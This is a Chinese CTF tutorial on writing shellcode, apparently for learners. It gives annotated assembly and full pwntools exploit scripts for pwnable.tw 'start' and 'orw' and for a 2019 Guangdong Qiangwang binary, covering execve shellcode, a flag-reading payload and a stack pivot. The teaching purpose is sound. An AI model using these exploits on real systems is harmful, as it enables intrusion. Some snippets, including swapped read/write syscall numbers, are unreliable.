簡單shellcode學習
- 2020 年 7 月 10 日
- 筆記
本文由「合天智匯」公眾號首發 作者:hope
引言
之前遇到沒開啟NX保護的時候,都是直接用pwtools庫里的shellcode一把梭,也不太懂shellcode代碼具體做了些什麼,遇到了幾道不能一把梭的題目,簡單學習一下shellcode的編寫。
前置知識
-
NX(堆棧不可執行)保護
-
shellcode(一段16進制的數據,轉化為字符串則為彙編代碼)
pwnable之start
保護檢測
可以看到這道題目什麼保護都沒有開

ida分析
題目只有start函數,可以知道該題是用彙編語言寫的,順便可以鍛煉一下自己看彙編的能力

彙編代碼分析
簡單來說,程序調用了wirte函數去打印字符,接着調用read函數輸入,但是這裡的輸入沒有限制,因此有一個棧溢出的漏洞,而且程序有個特定,他將esp的值首先壓入了棧中,esp存的是棧頂的地址,使得我們能夠找到棧的地址,為我們返回shellcode做準備
push esp #將esp寄存器的值壓入棧中,這裡可以獲得棧的地址 push offset _exit #將_exit函數地址壓入棧中,使得start函數執行完畢時返回exit函數 xor eax, eax #清空eax寄存器的值 xor ebx, ebx #清空ebx寄存器的值 xor ecx, ecx #清空ecx寄存器的值 xor edx, edx #清空edx寄存器的值 push 3A465443h push 20656874h push 20747261h push 74732073h push 2774654Ch #壓入一堆字符串,即程序運行時的字符串,Let's start the CTF: mov ecx, esp ; addr,將字符串的地址放入ecx寄存器中 mov dl, 14h ; len,將打印長度放進dl寄存器中,即16位寄存器 mov bl, 1 ; fd,1為文件描述符,指的是屏幕 mov al, 4 #eax寄存器,存放的是調用號,4調用號即,write函數 int 80h ; LINUX - sys_write,int 0x80調用80中斷 xor ebx, ebx #清空ebx寄存器,0為文件描述符,即外部輸入,例如鍵盤 mov dl, 3Ch #輸入的長度 0x3c mov al, 3 #3調用號,即read函數 int 80h ; LINUX - add esp, 14h #恢復棧平衡,因為壓入字符串消耗了0x14的棧空間,使用完畢後需要換遠 retn #返回
函數調用表

思路
-
程序開始將esp的值壓入棧中,可以獲得棧的地址
-
由於程序沒有限制輸入,因此有棧溢出漏洞,可以修改程序執行的流程
獲得棧地址
根據程序的流程,我們可以畫出棧的情況

跟蹤調試一下,跟我們預期的一樣

繼續跟蹤直到程序運行完add esp,14h,查看一下棧結構

此時返回地址指向exit函數,在執行完ret指令後,esp寄存器內容就為棧地址,想要泄露棧地址,則需要將返回地址修改為write函數,那麼具體返回到哪個地址我們繼續分析。
可以看到0x4調用前,需要往相應的寄存器傳入相應的參數,其中ecx寄存器就是用於指向需要打印字符串的起始地址。
mov ecx, esp ; addr,將字符串的地址放入ecx寄存器中 mov dl, 14h ; len,將打印長度放進dl寄存器中,即16位寄存器 mov bl, 1 ; fd,1為文件描述符,指的是屏幕 mov al, 4 #eax寄存器,存放的是調用號,4調用號即,write函數 int 80h ; LINUX - sys_write,int
在執行完ret指令後,此時的esp寄存器的內容恰好指向棧頂的地址
0xffffd12c —▸ 0xffffd130 #因為push esp,會使得esp的值減4,因此此時的esp指針指向的內容是舊的esp指針,這點需要注意

因此只要將返回地址修改為mov ecx,esp的地址即可打印出棧的地址
sh.recvuntil("Let's start the CTF:") payload = 'a'*20 + p32(0x8048087)#mov ecx,esp的地址 #attach(sh) sh.send(payload) esp = u32(sh.recv(4)) print 'esp:'+hex(esp)
返回棧地址,執行shellcode
由於程序沒有開啟NX保護,即棧空間里的數據是可以執行的,那麼我們輸入execve()函數調用的彙編代碼,即可執行getshell

shellcode
c語言表示:execve("/bin/sh\x00",0,0) 彙編代碼: mov eax,0xb #將調用號設置為0xb,即函數execve的調用號 xor edx,edx #清空edx寄存器,因為execve的函數edx的值為0 xor ecx,ecx #清空ecx寄存器,因為execve的函數ecx的值為0 push 0x0068732f #\x00hs/ push 0x6e69622f #nib/,小端模式需要反着壓入棧中 mov ebx,esp #將字符串的地址傳遞給ebx int 0x80 #調用80中斷 16進制表示: 利用pwntools庫里的asm()函數,將彙編代碼以16進制的表示形式輸入
可以看到簡單的shellcode編寫需要對照着系統調用號的表,挑取你需要的函數,然後對照着表將參數輸入到對應的寄存器,繼而調用80中斷實現調用函數。
payload1 = 'a'*20+p32(esp+20)#該返回地址需要自己去調試看看自己shellcode的起始地址,算出與泄露出的棧頂地址的偏移即可 payload = asm("mov eax,0xb") payload += asm("xor edx,edx") payload += asm("xor ecx,ecx") payload += asm("push 0x0068732f") payload += asm("push 0x6e69622f") payload += asm("mov ebx,esp") payload += asm("int 0x80") sh.send(payload1+payload)
完整的exp
from pwn import * context(arch='i386',os='linux') sh = process("./start") #sh = remote("node3.buuoj.cn",29479) sh.recvuntil("Let's start the CTF:") payload = 'a'*20 + p32(0x8048087) #attach(sh) sh.send(payload) esp = u32(sh.recv(4)) print 'esp:'+hex(esp) payload1 = 'a'*20+p32(esp+20) payload = asm("mov eax,0xb") payload += asm("xor edx,edx") payload += asm("xor ecx,ecx") payload += asm("push 0x0068732f") payload += asm("push 0x6e69622f") payload += asm("mov ebx,esp") payload += asm("int 0x80") sh.send(payload1+payload) sh.interactive()
pwnable之orw
保護檢測
開啟了canary保護,存在可寫並且可執行的區域

ida分析
orw_seccomp
在該函數里開啟了沙盒,這裡可以用seccomp-tools去看下沙盒禁用了什麼函數

工具下載://github.com/david942j/seccomp-tools
可以看到,當用i386機器運行此程序時,只允許使用rt_sigreturn,sigreturn,exit_group,open,read,write的系統調用,我們常用的execve調用是不允許被使用的

看一下題目描述,告訴我們flag位於/home/orw/flag處,而且只允許使用open,read,write的系統調用,這是因為其他系統調用被prtcl函數所禁用了,這裡我們關注在於shellcode,prctl則在後面的文章會詳細介紹。

main函數
名為shellcode的變量位於.bss段,在輸入完畢後會將該變量以函數的形式調用,則這道題不需要去尋找shellcode的返回地址,直接輸入一段shellcode即可

思路
-
首先程序禁用了execve系統調用,只開放了open,read,以及write的系統調用,意義很明確,是讓我們將flag都出來,而不是取得目標機器的shell
shellcode的編寫
在寫shellcode前,我們可以先用c語言將讀flag的偽代碼寫出來
c語言
fd = open("/home/orw/flag","w");//首先打開文件 read(fd,buf,0x20);//讀取文件的信息,放入到局部變量buf中 write(1,buf,0x20);//將變量buf的內容打印出來,這裡的足夠打印出flag的長度即可,由於不知道flag的具體長度可以設置為長一點
shellcode
#首先對照偽C代碼以及系統調用表進行shellcode的編寫 fd = open("/home/orw/flag","w") #相應的彙編 xor ecx,ecx #清空ecx寄存器,open的調用該寄存器的值設為null xor edx,edx #清空edx寄存器,open的調用該寄存器的值設為null mov eax,0x5 #調用號設置為5 push 0x006761 #將/home/orw/flag壓入棧中,注意是棧是先進後出,因此字符串需要從最末尾開始壓入即將字符 push 0x6c662f77 #轉為16進制要反向排序,並且字符串需要添加截斷符\x00,push要以4位元組為單位。 push 0x726f2f65 push 0x6d6f682f mov ebx,esp #fd的值為路徑的地址 int 0x80 #調用80中斷,實現系統調用 #c語言 read(fd,buf,0x20)或read(3,buf,0x20)#這裡的3為其他文件描述符,下面會詳細介紹 #相應的彙編 mov eax,0x4 mov ebx,0x3 #這裡用3代替了oepn返回的fd指針,因為3可以用作於打開文件時的文件描述符,若想用open返回的指針則應該將系統調用號移動到eax寄存器前,先保存eax的內容。 mov ecx,esp #將esp作為臨時變量buf的地址 mov edx,0x20 #讀入的長度為0x20 int 0x80 #調用80中斷,實現系統調用 #c語言 write(1,buf,0x20) #相應的彙編 mov eax,0x3#系統調用號0x3 mov ebx,0x1#文件描述符為1,指向屏幕 mov ecx,esp #將esp作為臨時變量buf的地址 mov edx,0x20 #打印的字符串的長度 int 0x80 #調用80中斷,實現系統調用 #這裡可以用pwntools庫的一個函數代替,shellcraft c語言:open("/home/orw/flag") <==> 彙編:asm(shellcraft.open("/home/orw/flag")) c語言:read(3,buf,0x20)<==> 彙編:asm(shellcraft.read(3,"esp",0x20) c語言:write(1,buf,0x20)<==>彙編:asm(shellcraft.write(1,"esp",0x20)) 文件描述符
文件描述符
內核(kernel)利用文件描述符(file descriptor)來訪問文件。文件描述符是非負整數。打開現存文件或新建文件時,內核會返回一個文件描述符。讀寫文件也需要使用文件描述符來指定待讀寫的文件。(來自百度百科)
-
0代表標準輸入流,stdin
-
1代表標準輸出流,stdout
-
2代表標準錯誤流,stderr
-
當打開一個新的文件時,它的文件描述符為3
exp1
from pwn import * context(log_level='debug',arch='i386',os='linux') #sh = remote("node3.buuoj.cn",29479) sh = remote("chall.pwnable.tw",10001) sh.recvuntil("shellcode:") payload = asm(shellcraft.open("/home/orw/flag")) payload += asm(shellcraft.read(3,"esp",100)) payload += asm(shellcraft.write(1,"esp",100)) sh.sendline(payload) sh.interactive()
exp2
from pwn import * context(arch='i386',os='linux') #sh = remote("node3.buuoj.cn",25212) sh = remote("chall.pwnable.tw",10001) sh.recvuntil("shellcode:") payload = asm("xor ecx,ecx") payload += asm("xor edx,edx") payload += asm("mov eax,0x5") payload += asm("push 0x006761") payload += asm("push 0x6c662f77") payload += asm("push 0x726f2f65") payload += asm("push 0x6d6f682f") payload += asm("mov ebx,esp") payload += asm("int 0x80") payload += asm("mov eax,0x3") payload += asm("mov ebx,0x3") payload += asm("mov ecx,esp") payload += asm("mov edx,0x20") payload += asm("int 0x80") payload += asm("mov eax,0x4") payload += asm("mov ebx,0x1") payload += asm("mov ecx,esp") payload += asm("mov edx,0x2") payload += asm("int 0x80") sh.sendline(payload) sh.interactive()
2019廣東強網杯線下題目
保護檢測
同樣是基本沒開啟防護,並且具有可寫並可執行區域

ida分析
main函數
程序有1,2,3,三個選擇,選擇1 時僅僅是打印一串無作用的字符串,選擇2時會當挑戰滿足時會打印棧地址,選擇3可以執行棧溢出漏洞

僅僅只有0x10的溢出空間,可以恰好覆蓋返回地址

magic函數
當傳入的參數a2的值等於305419896時,則打印a1的值

我們可以看下magic函數傳入的兩個變量,一個為buf的地址,一個為局部變量v11,v11的值可以通過buf溢出後修改

思路
-
程序存在棧溢出的漏洞,但是溢出的位元組數較少,只能剛好溢出返回地址
-
程序可以利用棧溢出覆蓋變量v11的值,從而泄露buf的地址
-
這道題我們用另一種思路,在棧上寫棧轉移的彙編代碼,將棧轉移到.bss段中,在向.bss段寫入shellcode,需要注意的是該題是64位,而64位的系統調用號與32位不同。

彙編代碼分析
payload = asm("mov rax,0;") #系統調用號 payload += asm("mov rdi,0;")#文件描述符 payload += asm("mov rsi,0x601080")#.bss段地址,用於buf地址 payload += asm("mov rdx,0x40")#輸入長度 payload += asm("syscall")#syscall啟動調用 payload += asm("push 0x601080")#返回地址 payload += asm("ret")#ret指令返回任意地址 payload = payload.ljust(0x38,'b') payload += p64(addr)
完整的exp
from pwn import * context(log_level='debug',arch='amd64',os='linux') sh = process("./pwn") sh.recvuntil(" your choice:") sh.sendline("3") sh.recvuntil("What?") payload = 'a'*0x28+p64(305419896) sh.send(payload) sh.recvuntil(" your choice:") sh.sendline("2") sh.recvuntil("It is magic: [") addr = int(sh.recv(14),16) print 'addr:'+hex(addr) sh.sendline("3") sh.recvuntil("What?") payload = asm("mov rax,0;") payload += asm("mov rdi,0;") payload += asm("mov rsi,0x601080") payload += asm("mov rdx,0x40") payload += asm("syscall") payload += asm("push 0x601080") payload += asm("ret") payload = payload.ljust(0x38,'b') payload += p64(addr) #attach(sh) sh.send(payload) payload = asm("mov eax,59") #調用59號系統調用,execve("/bin/sh",0,0); payload += asm("xor rsi,rsi") payload += asm("xor rdx,rdx") payload += asm("mov rdi, 0x6010a8") payload += asm("syscall") payload = payload.ljust(0x28,'\x00') payload += '/bin/sh\x00' attach(sh) sh.send(payload) sh.interactive()
總結
-
shellcode的編寫的需要藉助調用表,根據調用表的參數值,往對應的寄存器賦值
-
start例題學會常用的系統調用execve(“/bin/sh”,0,0)的編寫
-
orw例題則學會讀給定路徑的內容,從而學習open,read,write系統調用的編寫
-
廣東強網杯這題則靈活利用棧可執行的條件,使用彙編實現棧轉移,以及往指定地址寫入內容。
shellcode原理
(shellcode是一段用於利用軟件漏洞而執行的代碼,可在有能力劫持指令寄存器後,在內存中塞入一段可讓CPU執行的shellcode機器碼,讓電腦可以執行攻擊者的任意指令。)
聲明:筆者初衷用於分享與普及網絡知識,若讀者因此作出任何危害網絡安全行為後果自負,與合天智匯及原作者無關!